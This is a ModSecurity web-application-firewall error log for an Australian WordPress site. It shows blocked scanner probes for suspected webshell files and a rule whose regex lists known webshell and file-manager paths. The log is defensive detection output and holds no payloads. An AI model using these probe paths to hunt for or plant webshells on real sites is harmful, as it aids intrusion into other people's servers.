[Tue Apr 07 18:57:14.890624 2026] [:error] [pid 37719:tid 37731] [client 42.200.231.39:48228] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adTjCk09Xv52u2xXGLDeDwAAAMk"]
[Tue Apr 07 18:57:16.947454 2026] [:error] [pid 59660:tid 59670] [client 42.200.231.39:49144] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adTjDDp3-oiX2o5bTswAxAAAAcg"]
[Tue Apr 07 18:57:19.253866 2026] [:error] [pid 37597:tid 37657] [client 42.200.231.39:47513] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adTjDw6uAY0QAy-8EEInLgAAAFc"]
[Tue Apr 07 19:48:11.889681 2026] [:error] [pid 37597:tid 37634] [client 43.153.87.54:48346] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adTu-w6uAY0QAy-8EEJfKQAAAEA"]
[Tue Apr 07 19:53:24.002571 2026] [:error] [pid 59804:tid 59825] [client 137.220.224.53:31613] [client 137.220.224.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "adTwM3YVIXiPh5_eJTmfBAAAAhM"], referer: https://duckduckgo.com/?q=how+to+create+a+website%!(EXTRA string=how+to+create+a+website)
[Tue Apr 07 19:53:34.364934 2026] [:error] [pid 37596:tid 37613] [client 137.220.224.53:21369] [client 137.220.224.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/"] [unique_id "adTwPqpaAOZHEjRWjP2ZJAAAAAc"], referer: https://www.facebook.com/
[Tue Apr 07 19:53:34.688402 2026] [:error] [pid 37596:tid 37607] [client 137.220.224.39:15735] [client 137.220.224.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.220.224.39, incrementing ddos counter"] [hostname "www.vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adTwPqpaAOZHEjRWjP2ZJgAAAAE"], referer: https://www.pinterest.com/
[Tue Apr 07 19:53:34.690525 2026] [:error] [pid 37596:tid 37607] [client 137.220.224.39:15735] [client 137.220.224.39] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adTwPqpaAOZHEjRWjP2ZJgAAAAE"], referer: https://www.pinterest.com/
[Tue Apr 07 22:14:43.428216 2026] [:error] [pid 12948:tid 12953] [client 182.253.194.35:17511] [client 182.253.194.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.253.194.35, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "adURU8beSPAN8LvMqsbCBQAAAQI"]
[Tue Apr 07 23:10:05.325170 2026] [:error] [pid 37597:tid 37635] [client 43.135.183.82:54736] [client 43.135.183.82] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adUeTQ6uAY0QAy-8EELT5AAAAEE"]
[Wed Apr 08 00:01:57.921658 2026] [:error] [pid 37719:tid 37745] [client 20.251.113.42:20768] [client 20.251.113.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "adUqdU09Xv52u2xXGLBtDgAAANc"]
[Wed Apr 08 00:02:06.632069 2026] [:error] [pid 59804:tid 59815] [client 20.251.113.42:12222] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adUqfnYVIXiPh5_eJTkPAAAAAgk"]
[Wed Apr 08 00:02:07.208549 2026] [:error] [pid 37596:tid 37627] [client 20.251.113.42:64431] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adUqf6paAOZHEjRWjP2x5AAAABU"]
[Wed Apr 08 00:02:07.735873 2026] [:error] [pid 59804:tid 59813] [client 20.251.113.42:61060] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adUqf3YVIXiPh5_eJTkPBgAAAgc"]
[Wed Apr 08 00:02:08.254965 2026] [:error] [pid 59804:tid 59828] [client 20.251.113.42:64428] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wdone1.php"] [unique_id "adUqgHYVIXiPh5_eJTkPBwAAAhY"]
[Wed Apr 08 00:02:08.787174 2026] [:error] [pid 59804:tid 59812] [client 20.251.113.42:61060] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adUqgHYVIXiPh5_eJTkPCQAAAgY"]
[Wed Apr 08 00:02:09.309559 2026] [:error] [pid 59804:tid 59823] [client 20.251.113.42:63336] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adUqgXYVIXiPh5_eJTkPDAAAAhE"]
[Wed Apr 08 00:02:09.837053 2026] [:error] [pid 37719:tid 37725] [client 20.251.113.42:26306] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adUqgU09Xv52u2xXGLBtMgAAAMM"]
[Wed Apr 08 00:02:10.355545 2026] [:error] [pid 37719:tid 37744] [client 20.251.113.42:24806] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "adUqgk09Xv52u2xXGLBtNwAAANY"]
[Wed Apr 08 00:02:10.880538 2026] [:error] [pid 59551:tid 59571] [client 20.251.113.42:58044] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adUqgl7LN7Ubyqs-sVtIZAAAAZI"]
[Wed Apr 08 00:02:11.403330 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:14978] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adUqg3YVIXiPh5_eJTkPJAAAAgI"]
[Wed Apr 08 00:02:11.938606 2026] [:error] [pid 37719:tid 37745] [client 20.251.113.42:10059] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adUqg009Xv52u2xXGLBtRAAAANc"]
[Wed Apr 08 00:02:12.462102 2026] [:error] [pid 59804:tid 59829] [client 20.251.113.42:10597] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "adUqhHYVIXiPh5_eJTkPKQAAAhc"]
[Wed Apr 08 00:02:12.992299 2026] [:error] [pid 59551:tid 59577] [client 20.251.113.42:4473] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "adUqhF7LN7Ubyqs-sVtIawAAAZg"]
[Wed Apr 08 00:02:13.529185 2026] [:error] [pid 37597:tid 37651] [client 20.251.113.42:31842] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "adUqhQ6uAY0QAy-8EELlWAAAAFE"]
[Wed Apr 08 00:02:14.055843 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:28182] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "adUqhnYVIXiPh5_eJTkPMQAAAgI"]
[Wed Apr 08 00:02:14.615344 2026] [:error] [pid 37597:tid 37654] [client 20.251.113.42:44493] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awh.php"] [unique_id "adUqhg6uAY0QAy-8EELlWwAAAFQ"]
[Wed Apr 08 00:02:15.145426 2026] [:error] [pid 37598:tid 37672] [client 20.251.113.42:11917] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "adUqh-9g7q_cV2WhPazqGQAAAIs"]
[Wed Apr 08 00:02:15.696395 2026] [:error] [pid 59804:tid 59816] [client 20.251.113.42:21189] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "adUqh3YVIXiPh5_eJTkPQAAAAgo"]
[Wed Apr 08 00:02:16.229470 2026] [:error] [pid 37597:tid 37640] [client 20.251.113.42:57209] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "adUqiA6uAY0QAy-8EELlXAAAAEY"]
[Wed Apr 08 00:02:16.748842 2026] [:error] [pid 37597:tid 37655] [client 20.251.113.42:57179] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aee.php"] [unique_id "adUqiA6uAY0QAy-8EELlXQAAAFU"]
[Wed Apr 08 00:02:17.266876 2026] [:error] [pid 59490:tid 59505] [client 20.251.113.42:37510] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adUqiUcw8OFbiUZ7Rx2CpQAAAU0"]
[Wed Apr 08 00:02:17.796616 2026] [:error] [pid 59804:tid 59808] [client 20.251.113.42:11962] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adUqiXYVIXiPh5_eJTkPSAAAAgI"]
[Wed Apr 08 00:02:18.323954 2026] [:error] [pid 59490:tid 59512] [client 20.251.113.42:37550] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adUqikcw8OFbiUZ7Rx2CpgAAAVQ"]
[Wed Apr 08 00:02:18.843773 2026] [:error] [pid 59490:tid 59504] [client 20.251.113.42:10560] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "adUqikcw8OFbiUZ7Rx2CqAAAAUw"]
[Wed Apr 08 00:02:19.363612 2026] [:error] [pid 59490:tid 59508] [client 20.251.113.42:10616] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ruabjw00.php"] [unique_id "adUqi0cw8OFbiUZ7Rx2CqQAAAVA"]
[Wed Apr 08 00:02:19.886725 2026] [:error] [pid 37598:tid 37661] [client 20.251.113.42:31835] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ruabjw00.php"] [unique_id "adUqi-9g7q_cV2WhPazqHQAAAIA"]
[Wed Apr 08 00:02:20.419087 2026] [:error] [pid 37598:tid 37681] [client 20.251.113.42:15036] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ruabjw00.php"] [unique_id "adUqjO9g7q_cV2WhPazqIAAAAJQ"]
[Wed Apr 08 00:02:20.955435 2026] [:error] [pid 59551:tid 59576] [client 20.251.113.42:26352] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ruabjw00.php"] [unique_id "adUqjF7LN7Ubyqs-sVtIeQAAAZc"]
[Wed Apr 08 00:02:21.486311 2026] [:error] [pid 59804:tid 59811] [client 20.251.113.42:46707] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adUqjXYVIXiPh5_eJTkPWAAAAgU"]
[Wed Apr 08 00:02:22.028559 2026] [:error] [pid 37597:tid 37651] [client 20.251.113.42:43441] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adUqjg6uAY0QAy-8EELlYQAAAFE"]
[Wed Apr 08 00:02:22.570149 2026] [:error] [pid 59804:tid 59813] [client 20.251.113.42:61123] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adUqjnYVIXiPh5_eJTkPXQAAAgc"]
[Wed Apr 08 00:02:23.116749 2026] [:error] [pid 59804:tid 59812] [client 20.251.113.42:54047] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "adUqj3YVIXiPh5_eJTkPYQAAAgY"]
[Wed Apr 08 00:02:23.643352 2026] [:error] [pid 59804:tid 59810] [client 20.251.113.42:26350] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webx.php"] [unique_id "adUqj3YVIXiPh5_eJTkPZAAAAgQ"]
[Wed Apr 08 00:02:24.176283 2026] [:error] [pid 59804:tid 59821] [client 20.251.113.42:33011] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webx.php"] [unique_id "adUqkHYVIXiPh5_eJTkPaQAAAg8"]
[Wed Apr 08 00:02:24.723316 2026] [:error] [pid 59490:tid 59511] [client 20.251.113.42:33943] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webx.php"] [unique_id "adUqkEcw8OFbiUZ7Rx2CqgAAAVM"]
[Wed Apr 08 00:02:25.243386 2026] [:error] [pid 59804:tid 59823] [client 20.251.113.42:43440] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webx.php"] [unique_id "adUqkXYVIXiPh5_eJTkPbgAAAhE"]
[Wed Apr 08 00:02:25.767702 2026] [:error] [pid 59804:tid 59815] [client 20.251.113.42:43397] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adUqkXYVIXiPh5_eJTkPbwAAAgk"]
[Wed Apr 08 00:02:26.287966 2026] [:error] [pid 59660:tid 59667] [client 20.251.113.42:46104] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adUqkjp3-oiX2o5bTswxsgAAAcU"]
[Wed Apr 08 00:02:26.812462 2026] [:error] [pid 59804:tid 59817] [client 20.251.113.42:14995] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adUqknYVIXiPh5_eJTkPdwAAAgs"]
[Wed Apr 08 00:02:27.336335 2026] [:error] [pid 37596:tid 37621] [client 20.251.113.42:49550] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hhxc.php"] [unique_id "adUqk6paAOZHEjRWjP2x6gAAAA8"]
[Wed Apr 08 00:02:27.909344 2026] [:error] [pid 59490:tid 59506] [client 20.251.113.42:43448] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "adUqk0cw8OFbiUZ7Rx2CqwAAAU4"]
[Wed Apr 08 00:02:28.431425 2026] [:error] [pid 37598:tid 37662] [client 20.251.113.42:32975] [client 20.251.113.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-22.php"] [unique_id "adUqlO9g7q_cV2WhPazqKgAAAIE"]
